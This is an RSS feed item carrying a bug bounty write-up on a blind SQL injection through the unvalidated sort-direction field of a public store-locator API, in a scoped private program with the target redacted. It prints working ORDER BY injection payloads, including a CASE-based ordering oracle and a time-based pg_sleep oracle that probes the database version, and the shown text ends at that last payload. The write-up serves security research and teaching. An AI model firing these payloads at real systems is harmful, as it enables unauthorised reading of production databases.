<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
     xmlns:atom="http://www.w3.org/2005/Atom"
     xmlns:dc="http://purl.org/dc/elements/1.1/"
     xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>Bug Hunting Journey</title>
    <link>https://bughuntingjourney.com</link>
    <atom:link href="https://bughuntingjourney.com/rss.xml" rel="self" type="application/rss+xml"/>
    <description>Long-form bug bounty writeups: recon, the path, the exploitation, the impact. Programs and company names always redacted.</description>
    <language>en</language>
    <lastBuildDate>Tue, 10 Nov 2026 00:00:00 GMT</lastBuildDate>
    <item>
      <title>The store finder that sorted by anything you asked</title>
      <link>https://bughuntingjourney.com/writeups/store-finder-order-by-sqli</link>
      <guid isPermaLink="true">https://bughuntingjourney.com/writeups/store-finder-order-by-sqli</guid>
      <pubDate>Tue, 10 Nov 2026 00:00:00 GMT</pubDate>
      <dc:creator>@0xmel</dc:creator>
      <category>SQL injection</category>
      <description>An allowlist that covered the column name but not the sort direction, on a public endpoint with no authentication. Blind SQL injection into the production database, reachable by anyone with a browser.</description>
      <content:encoded><![CDATA[<p>A shop locator is the most boring page a retailer owns. Nobody logs in, nobody is tracked, there is nothing to steal. That is exactly why its endpoint had never been looked at, and why a field called <code>dir</code> was being pasted straight into a query against the production database of <span class="redacted" aria-label="redacted" title="Redacted">██████████████</span>.</p>
<h2 id="recon">Recon</h2>
<p>The scope is a retail SaaS: a customer-facing storefront, a merchant back office, and <code>api.target.tld</code> serving both. Private program, invite received in mid-October. Out of scope: anything involving real customer orders, anything destructive, and automated scanning above a request per second.</p>
<p>I set up the usual two merchant accounts before realising I would not need either. The store locator is public by design: a postcode in, the nearest shops out. No session, no API key, no <code>Origin</code> check. Whatever it talks to, it talks to on behalf of the whole internet.</p>
<p>The front end is a Vue bundle. I ran it through <code>prettier</code> and grepped for <code>fetch(</code> to list what the public pages actually call. Eleven endpoints, ten of them taking no parameter worth the name. The eleventh builds a sort object:</p>
<figure class="code"><div class="code-bar"><span class="code-title">locator.9c41e2.js, reformatted</span><span class="code-lang">JavaScript</span><button type="button" class="code-wrap-toggle" data-wrap="" aria-pressed="false" title="Toggle line wrapping"><svg viewBox="0 0 16 16" aria-hidden="true" width="13" height="13"><path d="M1.5 3.5h13M1.5 8h9.5a2.5 2.5 0 0 1 0 5H8"></path><path d="M10 11 8 13l2 2"></path></svg><span class="sr-only">Wrap lines</span></button><button type="button" class="code-copy" data-copy=""><svg viewBox="0 0 16 16" aria-hidden="true" width="13" height="13"><rect x="5.2" y="1.2" width="9.6" height="11.6" rx="2"></rect><path d="M10.8 14.8H3.2a2 2 0 0 1-2-2V4.2"></path></svg><span>Copy</span></button></div><pre class="code-pre" tabindex="0" data-language="js"><code><span class="code-line"><span style="color:#FF9C7A">const</span><span style="color:#E8E6F5"> SORT_FIELDS </span><span style="color:#A8A6CC">=</span><span style="color:#A8A6CC"> [</span><span style="color:#A8A6CC">'</span><span style="color:#8BD6A0">distance</span><span style="color:#A8A6CC">'</span><span style="color:#A8A6CC">,</span><span style="color:#A8A6CC"> '</span><span style="color:#8BD6A0">name</span><span style="color:#A8A6CC">'</span><span style="color:#A8A6CC">,</span><span style="color:#A8A6CC"> '</span><span style="color:#8BD6A0">city</span><span style="color:#A8A6CC">'</span><span style="color:#A8A6CC">,</span><span style="color:#A8A6CC"> '</span><span style="color:#8BD6A0">opening_soon</span><span style="color:#A8A6CC">'</span><span style="color:#A8A6CC">];</span></span><span class="code-line"></span><span class="code-line"><span style="color:#FF9C7A">function</span><span style="color:#8FD3FF"> search</span><span style="color:#A8A6CC">(</span><span style="color:#E8E6F5">postcode</span><span style="color:#A8A6CC">,</span><span style="color:#E8E6F5"> radius</span><span style="color:#A8A6CC">,</span><span style="color:#E8E6F5"> sortField </span><span style="color:#A8A6CC">=</span><span style="color:#A8A6CC"> '</span><span style="color:#8BD6A0">distance</span><span style="color:#A8A6CC">'</span><span style="color:#A8A6CC">,</span><span style="color:#E8E6F5"> sortDir </span><span style="color:#A8A6CC">=</span><span style="color:#A8A6CC"> '</span><span style="color:#8BD6A0">asc</span><span style="color:#A8A6CC">'</span><span style="color:#A8A6CC">)</span><span style="color:#A8A6CC"> {</span></span><span class="code-line"><span style="color:#FF9C7A">  return</span><span style="color:#E8E6F5"> api</span><span style="color:#A8A6CC">.</span><span style="color:#8FD3FF">post</span><span style="color:#A8A6CC">(</span><span style="color:#A8A6CC">'</span><span style="color:#8BD6A0">/api/v2/stores/search</span><span style="color:#A8A6CC">'</span><span style="color:#A8A6CC">,</span><span style="color:#A8A6CC"> {</span></span><span class="code-line"><span style="color:#E8E6F5">    postcode</span><span style="color:#A8A6CC">,</span></span><span class="code-line"><span style="color:#E8E6F5">    radius_km</span><span style="color:#A8A6CC">:</span><span style="color:#E8E6F5"> radius</span><span style="color:#A8A6CC">,</span></span><span class="code-line"><span style="color:#E8E6F5">    sort</span><span style="color:#A8A6CC">:</span><span style="color:#A8A6CC"> {</span><span style="color:#E8E6F5"> field</span><span style="color:#A8A6CC">:</span><span style="color:#E8E6F5"> sortField</span><span style="color:#A8A6CC">,</span><span style="color:#E8E6F5"> dir</span><span style="color:#A8A6CC">:</span><span style="color:#E8E6F5"> sortDir </span><span style="color:#A8A6CC">},</span></span><span class="code-line"><span style="color:#A8A6CC">  });</span></span><span class="code-line"><span style="color:#A8A6CC">}</span></span></code></pre></figure>
<p>Two values, sitting in the same object, looking equally harmless. The client only ever sends <code>asc</code> or <code>desc</code> for the second one, which is precisely the kind of assumption that stops being true the moment somebody stops using the client.</p>
<h2 id="the-first-signal">The first signal</h2>
<p>The normal request is unremarkable.</p>
<figure class="code"><div class="code-bar is-http is-request"><span class="http-method">POST</span><span class="code-title">api.target.tld</span><span class="code-lang">request</span><button type="button" class="code-wrap-toggle" data-wrap="" aria-pressed="false" title="Toggle line wrapping"><svg viewBox="0 0 16 16" aria-hidden="true" width="13" height="13"><path d="M1.5 3.5h13M1.5 8h9.5a2.5 2.5 0 0 1 0 5H8"></path><path d="M10 11 8 13l2 2"></path></svg><span class="sr-only">Wrap lines</span></button><button type="button" class="code-copy" data-copy=""><svg viewBox="0 0 16 16" aria-hidden="true" width="13" height="13"><rect x="5.2" y="1.2" width="9.6" height="11.6" rx="2"></rect><path d="M10.8 14.8H3.2a2 2 0 0 1-2-2V4.2"></path></svg><span>Copy</span></button></div><pre class="code-pre" tabindex="0" data-language="http"><code><span class="code-line"><span style="color:#F5C04E;font-weight:bold">POST</span><span style="color:#E8E6F5"> /api/v2/stores/search HTTP/2</span></span><span class="code-line"><span style="color:#7FE0DF">Host</span><span style="color:#A8A6CC">:</span><span style="color:#8BD6A0"> api.target.tld</span></span><span class="code-line"><span style="color:#7FE0DF">Content-Type</span><span style="color:#A8A6CC">:</span><span style="color:#8BD6A0"> application/json</span></span><span class="code-line"></span><span class="code-line"><span style="color:#A8A6CC">{</span><span style="color:#A8A6CC">"</span><span style="color:#7FE0DF">postcode</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">:</span><span style="color:#A8A6CC">"</span><span style="color:#8BD6A0">75011</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">,</span><span style="color:#A8A6CC">"</span><span style="color:#7FE0DF">radius_km</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">:</span><span style="color:#F5C04E">25</span><span style="color:#A8A6CC">,</span><span style="color:#A8A6CC">"</span><span style="color:#7FE0DF">sort</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">:{</span><span style="color:#A8A6CC">"</span><span style="color:#7FE0DF">field</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">:</span><span style="color:#A8A6CC">"</span><span style="color:#8BD6A0">distance</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">,</span><span style="color:#A8A6CC">"</span><span style="color:#7FE0DF">dir</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">:</span><span style="color:#A8A6CC">"</span><span style="color:#8BD6A0">asc</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">}}</span></span></code></pre></figure>
<figure class="code"><div class="code-bar is-http is-response is-2xx"><span class="http-status is-2xx">200</span><span class="code-title">OK</span><span class="code-lang">response</span><button type="button" class="code-wrap-toggle" data-wrap="" aria-pressed="false" title="Toggle line wrapping"><svg viewBox="0 0 16 16" aria-hidden="true" width="13" height="13"><path d="M1.5 3.5h13M1.5 8h9.5a2.5 2.5 0 0 1 0 5H8"></path><path d="M10 11 8 13l2 2"></path></svg><span class="sr-only">Wrap lines</span></button><button type="button" class="code-copy" data-copy=""><svg viewBox="0 0 16 16" aria-hidden="true" width="13" height="13"><rect x="5.2" y="1.2" width="9.6" height="11.6" rx="2"></rect><path d="M10.8 14.8H3.2a2 2 0 0 1-2-2V4.2"></path></svg><span>Copy</span></button></div><pre class="code-pre" tabindex="0" data-language="http"><code><span class="code-line"><span style="color:#E8E6F5">HTTP/2 </span><span style="color:#76D9A0;font-weight:700">200</span><span style="color:#8BD6A0"> OK</span></span><span class="code-line"><span style="color:#7FE0DF">content-type</span><span style="color:#A8A6CC">:</span><span style="color:#8BD6A0"> application/json</span></span><span class="code-line"></span><span class="code-line"><span style="color:#A8A6CC">{</span><span style="color:#A8A6CC">"</span><span style="color:#7FE0DF">stores</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">:[{</span><span style="color:#A8A6CC">"</span><span style="color:#7FE0DF">id</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">:</span><span style="color:#F5C04E">4417</span><span style="color:#A8A6CC">,</span><span style="color:#A8A6CC">"</span><span style="color:#7FE0DF">name</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">:</span><span style="color:#A8A6CC">"</span><span style="color:#8BD6A0"><span class="tok-redact" aria-label="redacted value">█████████</span> Bastille</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">,</span><span style="color:#A8A6CC">"</span><span style="color:#7FE0DF">distance_km</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">:</span><span style="color:#F5C04E">0.8</span><span style="color:#A8A6CC">},</span><span style="color:#FF8A7A"> ...</span><span style="color:#A8A6CC">]}</span></span></code></pre></figure>
<p>Sending a junk column name gets a clean rejection, which tells me an allowlist exists and that it is doing its job:</p>
<figure class="code"><div class="code-bar is-http is-request"><span class="http-method">POST</span><span class="code-title">api.target.tld</span><span class="code-lang">request</span><button type="button" class="code-wrap-toggle" data-wrap="" aria-pressed="false" title="Toggle line wrapping"><svg viewBox="0 0 16 16" aria-hidden="true" width="13" height="13"><path d="M1.5 3.5h13M1.5 8h9.5a2.5 2.5 0 0 1 0 5H8"></path><path d="M10 11 8 13l2 2"></path></svg><span class="sr-only">Wrap lines</span></button><button type="button" class="code-copy" data-copy=""><svg viewBox="0 0 16 16" aria-hidden="true" width="13" height="13"><rect x="5.2" y="1.2" width="9.6" height="11.6" rx="2"></rect><path d="M10.8 14.8H3.2a2 2 0 0 1-2-2V4.2"></path></svg><span>Copy</span></button></div><pre class="code-pre" tabindex="0" data-language="http"><code><span class="code-line"><span style="color:#F5C04E;font-weight:bold">POST</span><span style="color:#E8E6F5"> /api/v2/stores/search HTTP/2</span></span><span class="code-line"><span style="color:#7FE0DF">Host</span><span style="color:#A8A6CC">:</span><span style="color:#8BD6A0"> api.target.tld</span></span><span class="code-line"><span style="color:#7FE0DF">Content-Type</span><span style="color:#A8A6CC">:</span><span style="color:#8BD6A0"> application/json</span></span><span class="code-line"></span><span class="code-line"><span style="color:#A8A6CC">{</span><span style="color:#A8A6CC">"</span><span style="color:#7FE0DF">postcode</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">:</span><span style="color:#A8A6CC">"</span><span style="color:#8BD6A0">75011</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">,</span><span style="color:#A8A6CC">"</span><span style="color:#7FE0DF">radius_km</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">:</span><span style="color:#F5C04E">25</span><span style="color:#A8A6CC">,</span><span style="color:#A8A6CC">"</span><span style="color:#7FE0DF">sort</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">:{</span><span style="color:#A8A6CC">"</span><span style="color:#7FE0DF">field</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">:</span><span style="color:#A8A6CC">"</span><span style="color:#8BD6A0">nope</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">,</span><span style="color:#A8A6CC">"</span><span style="color:#7FE0DF">dir</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">:</span><span style="color:#A8A6CC">"</span><span style="color:#8BD6A0">asc</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">}}</span></span></code></pre></figure>
<figure class="code"><div class="code-bar is-http is-response is-4xx"><span class="http-status is-4xx">400</span><span class="code-title">Bad Request</span><span class="code-lang">response</span><button type="button" class="code-wrap-toggle" data-wrap="" aria-pressed="false" title="Toggle line wrapping"><svg viewBox="0 0 16 16" aria-hidden="true" width="13" height="13"><path d="M1.5 3.5h13M1.5 8h9.5a2.5 2.5 0 0 1 0 5H8"></path><path d="M10 11 8 13l2 2"></path></svg><span class="sr-only">Wrap lines</span></button><button type="button" class="code-copy" data-copy=""><svg viewBox="0 0 16 16" aria-hidden="true" width="13" height="13"><rect x="5.2" y="1.2" width="9.6" height="11.6" rx="2"></rect><path d="M10.8 14.8H3.2a2 2 0 0 1-2-2V4.2"></path></svg><span>Copy</span></button></div><pre class="code-pre" tabindex="0" data-language="http"><code><span class="code-line"><span style="color:#E8E6F5">HTTP/2 </span><span style="color:#FF8A7A;font-weight:700">400</span><span style="color:#8BD6A0"> Bad Request</span></span><span class="code-line"><span style="color:#7FE0DF">content-type</span><span style="color:#A8A6CC">:</span><span style="color:#8BD6A0"> application/json</span></span><span class="code-line"></span><span class="code-line"><span style="color:#A8A6CC">{</span><span style="color:#A8A6CC">"</span><span style="color:#7FE0DF">error</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">:</span><span style="color:#A8A6CC">"</span><span style="color:#8BD6A0">invalid_sort_field</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">,</span><span style="color:#A8A6CC">"</span><span style="color:#7FE0DF">allowed</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">:[</span><span style="color:#A8A6CC">"</span><span style="color:#8BD6A0">distance</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">,</span><span style="color:#A8A6CC">"</span><span style="color:#8BD6A0">name</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">,</span><span style="color:#A8A6CC">"</span><span style="color:#8BD6A0">city</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">,</span><span style="color:#A8A6CC">"</span><span style="color:#8BD6A0">opening_soon</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">]}</span></span></code></pre></figure>
<p>So I tried the same thing one key to the right. Not a payload, just a word that is not <code>asc</code>:</p>
<figure class="code"><div class="code-bar is-http is-request"><span class="http-method">POST</span><span class="code-title">api.target.tld</span><span class="code-lang">request</span><button type="button" class="code-wrap-toggle" data-wrap="" aria-pressed="false" title="Toggle line wrapping"><svg viewBox="0 0 16 16" aria-hidden="true" width="13" height="13"><path d="M1.5 3.5h13M1.5 8h9.5a2.5 2.5 0 0 1 0 5H8"></path><path d="M10 11 8 13l2 2"></path></svg><span class="sr-only">Wrap lines</span></button><button type="button" class="code-copy" data-copy=""><svg viewBox="0 0 16 16" aria-hidden="true" width="13" height="13"><rect x="5.2" y="1.2" width="9.6" height="11.6" rx="2"></rect><path d="M10.8 14.8H3.2a2 2 0 0 1-2-2V4.2"></path></svg><span>Copy</span></button></div><pre class="code-pre" tabindex="0" data-language="http"><code><span class="code-line"><span style="color:#F5C04E;font-weight:bold">POST</span><span style="color:#E8E6F5"> /api/v2/stores/search HTTP/2</span></span><span class="code-line"><span style="color:#7FE0DF">Host</span><span style="color:#A8A6CC">:</span><span style="color:#8BD6A0"> api.target.tld</span></span><span class="code-line"><span style="color:#7FE0DF">Content-Type</span><span style="color:#A8A6CC">:</span><span style="color:#8BD6A0"> application/json</span></span><span class="code-line"></span><span class="code-line is-hl"><span style="color:#A8A6CC">{</span><span style="color:#A8A6CC">"</span><span style="color:#7FE0DF">postcode</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">:</span><span style="color:#A8A6CC">"</span><span style="color:#8BD6A0">75011</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">,</span><span style="color:#A8A6CC">"</span><span style="color:#7FE0DF">radius_km</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">:</span><span style="color:#F5C04E">25</span><span style="color:#A8A6CC">,</span><span style="color:#A8A6CC">"</span><span style="color:#7FE0DF">sort</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">:{</span><span style="color:#A8A6CC">"</span><span style="color:#7FE0DF">field</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">:</span><span style="color:#A8A6CC">"</span><span style="color:#8BD6A0">name</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">,</span><span style="color:#A8A6CC">"</span><span style="color:#7FE0DF">dir</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">:</span><span style="color:#A8A6CC">"</span><span style="color:#8BD6A0">asc, city</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">}}</span></span></code></pre></figure>
<p><code>200</code>, and the results came back ordered by name and then by city. The direction is not validated, and it is not a direction: it is the tail of the <code>ORDER BY</code> clause, and I am writing it.</p>
<p>That is the entire finding. Everything after this is just establishing how far it goes.</p>
<h2 id="dead-ends">Dead ends</h2>
<p>Two hours of nothing, which is the normal ratio. Three of those attempts are worth writing down, because each one told me something about the shape of the hole.</p>
<p>The first reflex was <code>UNION</code>, and it was simply the wrong tool. I spent twenty minutes building variants of this before the penny dropped:</p>
<figure class="code"><div class="code-bar is-http is-request"><span class="http-method">POST</span><span class="code-title">The attempt that could never have worked</span><span class="code-lang">request</span><button type="button" class="code-wrap-toggle" data-wrap="" aria-pressed="false" title="Toggle line wrapping"><svg viewBox="0 0 16 16" aria-hidden="true" width="13" height="13"><path d="M1.5 3.5h13M1.5 8h9.5a2.5 2.5 0 0 1 0 5H8"></path><path d="M10 11 8 13l2 2"></path></svg><span class="sr-only">Wrap lines</span></button><button type="button" class="code-copy" data-copy=""><svg viewBox="0 0 16 16" aria-hidden="true" width="13" height="13"><rect x="5.2" y="1.2" width="9.6" height="11.6" rx="2"></rect><path d="M10.8 14.8H3.2a2 2 0 0 1-2-2V4.2"></path></svg><span>Copy</span></button></div><pre class="code-pre" tabindex="0" data-language="http"><code><span class="code-line"><span style="color:#F5C04E;font-weight:bold">POST</span><span style="color:#E8E6F5"> /api/v2/stores/search HTTP/2</span></span><span class="code-line"><span style="color:#7FE0DF">Host</span><span style="color:#A8A6CC">:</span><span style="color:#8BD6A0"> api.target.tld</span></span><span class="code-line"><span style="color:#7FE0DF">Content-Type</span><span style="color:#A8A6CC">:</span><span style="color:#8BD6A0"> application/json</span></span><span class="code-line"></span><span class="code-line is-hl"><span style="color:#A8A6CC">{</span><span style="color:#A8A6CC">"</span><span style="color:#7FE0DF">postcode</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">:</span><span style="color:#A8A6CC">"</span><span style="color:#8BD6A0">75011</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">,</span><span style="color:#A8A6CC">"</span><span style="color:#7FE0DF">radius_km</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">:</span><span style="color:#F5C04E">25</span><span style="color:#A8A6CC">,</span><span style="color:#A8A6CC">"</span><span style="color:#7FE0DF">sort</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">:{</span><span style="color:#A8A6CC">"</span><span style="color:#7FE0DF">field</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">:</span><span style="color:#A8A6CC">"</span><span style="color:#8BD6A0">name</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">,</span><span style="color:#A8A6CC">"</span><span style="color:#7FE0DF">dir</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">:</span><span style="color:#A8A6CC">"</span><span style="color:#8BD6A0">asc UNION SELECT null,null,null--</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">}}</span></span></code></pre></figure>
<figure class="code"><div class="code-bar is-http is-response is-5xx"><span class="http-status is-5xx">500</span><span class="code-title">Internal Server Error</span><span class="code-lang">response</span><button type="button" class="code-wrap-toggle" data-wrap="" aria-pressed="false" title="Toggle line wrapping"><svg viewBox="0 0 16 16" aria-hidden="true" width="13" height="13"><path d="M1.5 3.5h13M1.5 8h9.5a2.5 2.5 0 0 1 0 5H8"></path><path d="M10 11 8 13l2 2"></path></svg><span class="sr-only">Wrap lines</span></button><button type="button" class="code-copy" data-copy=""><svg viewBox="0 0 16 16" aria-hidden="true" width="13" height="13"><rect x="5.2" y="1.2" width="9.6" height="11.6" rx="2"></rect><path d="M10.8 14.8H3.2a2 2 0 0 1-2-2V4.2"></path></svg><span>Copy</span></button></div><pre class="code-pre" tabindex="0" data-language="http"><code><span class="code-line"><span style="color:#E8E6F5">HTTP/2 </span><span style="color:#FF8A7A;font-weight:700">500</span><span style="color:#8BD6A0"> Internal Server Error</span></span><span class="code-line"><span style="color:#7FE0DF">content-type</span><span style="color:#A8A6CC">:</span><span style="color:#8BD6A0"> application/json</span></span><span class="code-line"></span><span class="code-line"><span style="color:#A8A6CC">{</span><span style="color:#A8A6CC">"</span><span style="color:#7FE0DF">error</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">:</span><span style="color:#A8A6CC">"</span><span style="color:#8BD6A0">internal</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">,</span><span style="color:#A8A6CC">"</span><span style="color:#7FE0DF">request_id</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">:</span><span style="color:#A8A6CC">"</span><span style="color:#8BD6A0">01JH<span class="tok-redact" aria-label="redacted value">████████████</span></span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">}</span></span></code></pre></figure>
<p><code>UNION</code> grafts a second result set onto a <code>SELECT</code>. I am not in the <code>SELECT</code>: I am in the <code>ORDER BY</code>, which runs after the rows have already been assembled. There is nothing left to union with. This is the specific trap of <code>ORDER BY</code> injection, and it is why the payload everyone knows is useless here. The lesson generalises: before reaching for a payload, work out which clause you are actually standing in.</p>
<p>Second, stacked queries. <code>asc; SELECT 1</code> returned the same opaque <code>500</code>, and so did every variant. The driver sends one statement per call, which closes the door on writes, on <code>COPY</code>, and on anything that would turn this into more than a read. That is a dead end for me and a relief for the program, and it is why the report asks for a confidentiality rating rather than a full compromise. A negative result that bounds the impact is worth reporting.</p>
<p>The third one is the interesting failure, because it <em>almost</em> worked. Before using timing, I built an oracle out of the result order itself:</p>
<figure class="code"><div class="code-bar is-http is-request"><span class="http-method">POST</span><span class="code-title">The oracle that lied</span><span class="code-lang">request</span><button type="button" class="code-wrap-toggle" data-wrap="" aria-pressed="false" title="Toggle line wrapping"><svg viewBox="0 0 16 16" aria-hidden="true" width="13" height="13"><path d="M1.5 3.5h13M1.5 8h9.5a2.5 2.5 0 0 1 0 5H8"></path><path d="M10 11 8 13l2 2"></path></svg><span class="sr-only">Wrap lines</span></button><button type="button" class="code-copy" data-copy=""><svg viewBox="0 0 16 16" aria-hidden="true" width="13" height="13"><rect x="5.2" y="1.2" width="9.6" height="11.6" rx="2"></rect><path d="M10.8 14.8H3.2a2 2 0 0 1-2-2V4.2"></path></svg><span>Copy</span></button></div><pre class="code-pre" tabindex="0" data-language="http"><code><span class="code-line"><span style="color:#F5C04E;font-weight:bold">POST</span><span style="color:#E8E6F5"> /api/v2/stores/search HTTP/2</span></span><span class="code-line"><span style="color:#7FE0DF">Host</span><span style="color:#A8A6CC">:</span><span style="color:#8BD6A0"> api.target.tld</span></span><span class="code-line"><span style="color:#7FE0DF">Content-Type</span><span style="color:#A8A6CC">:</span><span style="color:#8BD6A0"> application/json</span></span><span class="code-line"></span><span class="code-line is-hl"><span style="color:#A8A6CC">{</span><span style="color:#A8A6CC">"</span><span style="color:#7FE0DF">postcode</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">:</span><span style="color:#A8A6CC">"</span><span style="color:#8BD6A0">75011</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">,</span><span style="color:#A8A6CC">"</span><span style="color:#7FE0DF">radius_km</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">:</span><span style="color:#F5C04E">25</span><span style="color:#A8A6CC">,</span><span style="color:#A8A6CC">"</span><span style="color:#7FE0DF">sort</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">:{</span><span style="color:#A8A6CC">"</span><span style="color:#7FE0DF">field</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">:</span><span style="color:#A8A6CC">"</span><span style="color:#8BD6A0">name</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">,</span><span style="color:#A8A6CC">"</span><span style="color:#7FE0DF">dir</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">:</span><span style="color:#A8A6CC">"</span><span style="color:#8BD6A0">asc, (CASE WHEN (SELECT 1=1) THEN name ELSE city END)</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">}}</span></span></code></pre></figure>
<p>It works, in the sense that the condition does change the ordering. But the response only <em>differs</em> when sorting by name and sorting by city actually produce different lists, and for a postcode with four shops they frequently do not. So the oracle returns the same answer for true and for false, and it never tells you: there is no error, just a confident and wrong bit. I noticed because two consecutive characters came back identical in a string that should not have had a doubled letter.</p>
<p>That is the failure mode to be afraid of with blind injection. A rejected payload costs you twenty minutes. A noisy oracle costs you a report that triage cannot reproduce, and your credibility with that program. I threw the approach away rather than add heuristics on top of it, and moved to something with no ambiguity: a measurement.</p>
<h2 id="exploitation">Exploitation</h2>
<p>PostgreSQL evaluates <code>ORDER BY</code> expressions per row, and a scalar subquery is a valid expression there. <code>SELECT 1 FROM pg_sleep(4)</code> returns one row holding <code>1</code>, so it type-checks where a bare <code>pg_sleep()</code> would not.</p>
<figure class="code"><div class="code-bar is-http is-request"><span class="http-method">POST</span><span class="code-title">The oracle, asking whether the major version is 16</span><span class="code-lang">request</span><button type="button" class="code-wrap-toggle" data-wrap="" aria-pressed="false" title="Toggle line wrapping"><svg viewBox="0 0 16 16" aria-hidden="true" width="13" height="13"><path d="M1.5 3.5h13M1.5 8h9.5a2.5 2.5 0 0 1 0 5H8"></path><path d="M10 11 8 13l2 2"></path></svg><span class="sr-only">Wrap lines</span></button><button type="button" class="code-copy" data-copy=""><svg viewBox="0 0 16 16" aria-hidden="true" width="13" height="13"><rect x="5.2" y="1.2" width="9.6" height="11.6" rx="2"></rect><path d="M10.8 14.8H3.2a2 2 0 0 1-2-2V4.2"></path></svg><span>Copy</span></button></div><pre class="code-pre" tabindex="0" data-language="http"><code><span class="code-line"><span style="color:#F5C04E;font-weight:bold">POST</span><span style="color:#E8E6F5"> /api/v2/stores/search HTTP/2</span></span><span class="code-line"><span style="color:#7FE0DF">Host</span><span style="color:#A8A6CC">:</span><span style="color:#8BD6A0"> api.target.tld</span></span><span class="code-line"><span style="color:#7FE0DF">Content-Type</span><span style="color:#A8A6CC">:</span><span style="color:#8BD6A0"> application/json</span></span><span class="code-line"></span><span class="code-line is-hl"><span style="color:#A8A6CC">{</span><span style="color:#A8A6CC">"</span><span style="color:#7FE0DF">postcode</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">:</span><span style="color:#A8A6CC">"</span><span style="color:#8BD6A0">75011</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">,</span><span style="color:#A8A6CC">"</span><span style="color:#7FE0DF">radius_km</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">:</span><span style="color:#F5C04E">25</span><span style="color:#A8A6CC">,</span><span style="color:#A8A6CC">"</span><span style="color:#7FE0DF">sort</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">:{</span><span style="color:#A8A6CC">"</span><span style="color:#7FE0DF">field</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">:</span><span style="color:#A8A6CC">"</span><span style="color:#8BD6A0">name</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">,</span><span style="color:#A8A6CC">"</span><span style="color:#7FE0DF">dir</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">:</span><span style="color:#A8A6CC">"</span><span style="color:#8BD6A0">asc, (CASE WHEN (SELECT substr(version(),12,2))='16' THEN (SELECT 1 FROM pg_sleep(4)) ELSE 2 END)</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">}}</span></span></code></pre></figure>
